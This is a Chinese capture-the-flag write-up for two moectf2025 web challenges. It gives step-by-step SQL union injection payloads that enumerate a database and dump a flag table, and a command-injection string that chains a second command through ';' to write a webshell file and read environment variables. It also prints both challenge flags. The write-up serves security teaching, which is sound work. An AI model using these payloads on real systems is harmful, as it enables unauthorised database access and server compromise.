moectf2025-Web-Day2
Web08 第八章 天衍真言,星图显圣
SQL联合查询注入。
一个登录界面,发现传参为username和password 万能密码尝试登录后发现:
?username=&password=’ or 1=’1
回显为 Welcome admin,因此可以判断应该存在admin这个用户
一点前置知识:
–代表注释
union联合查询需要查询结果的列数相同,利用union可以执行我们想执行的sql语句,从而将其他表内的信息带出来。
接下来的流程:
1 确定查询返回列数
select查询后 会返回一个table。Table有行和列,列代表属性,行代表数据。
order by 可以根据属性(列名)进行排序,也可以直接按列序号排序。如果列序号不存在会报错。如果ORDER BY 3正确,ORDER BY 4却报错,即可确认查询结果表中有3列。
注入exp:
?username=admin’ order by 1 – &password=
?username=admin’ order by 2 – &password=
?username=admin’ order by 3 – &password=
发现3时报错,说明返回表中有2列。
2 确定可显示列
SQL查询返回的所有列,不一定都会显示在网页上,需要确认哪些列可以显示从而被我们看到.
尝试:
?username=’ union select 1,2 – &password=
发现回显为1
?username=’ union select 2,1 – &password=
发现回显为2,那么可显示列就是查询结果的第一列。
这里注意 要让我们原本查询结果为空 否则如果查出值(比如这个题会回显admin)可能覆盖我们后面想要查出的值。如果用?username=admin’ union select 2,1 – &password=,会发现返回结果是admin
此外 select不仅可以从表里查,还可以查询常量,这里就是利用了查询常量的特性。举个例子:
1 | -- 测试1:最简单的SELECT |
因此我们确定了可显示列为第一列。
3 数据库名查询
?username=1’ union select database(),2 – &password=
先查到数据库名 才能查这个数据库里的表 才能查表里字段进而拿数据。
database() 是MySQL内置的函数,返回当前连接的数据库名称
类似的其他函数:
1 | -- 函数,要加括号调用 |
回显为user 因此应该到user里查表
4 查询表名
接下来我们需要查看user里表的名字。
MySQL数据库的元数据库information_schema记录了所有数据库、表、字段的名字。
‘ union SELECT table_name,2 FROM information_schema.tables WHERE table_schema=’user’ –
发现回显为flag,可以对这个表进行查询
然而,一个数据库可能有多个表,SELECT会返回多行,使用group_concat()包裹即可输出成一行。
‘ union SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=’user’ –
这样的话回显就是flag和users了,说明有两个表
5 查表读数据
‘ union SELECT *,2 FROM flag –
*是通配符 会自行展开成表中的属性 这里的2用来站位。
需要注意 这里如果select 1,2 from flag 其含义不是select第一列属性和第二列属性,而是会返回一个行数与flag相同 每行数据均为1,2的表
flag为:
moectf{UnlOn_64S3d-SQII-FtW!1185c23d8b}
Web09 第九章 星墟禁制·天机问路
命令执行
题目要求我们输入一个url,以get方式传参。
直接用;截断,然后即可执行命令。
可以写个马进去:
128.0.0.1;echo ““ > ./2.php
发现在全局变量里。
直接env即可显示
FLAG=moectf{ea5c141b-4d97-2d1a-c618-f5d917dae823}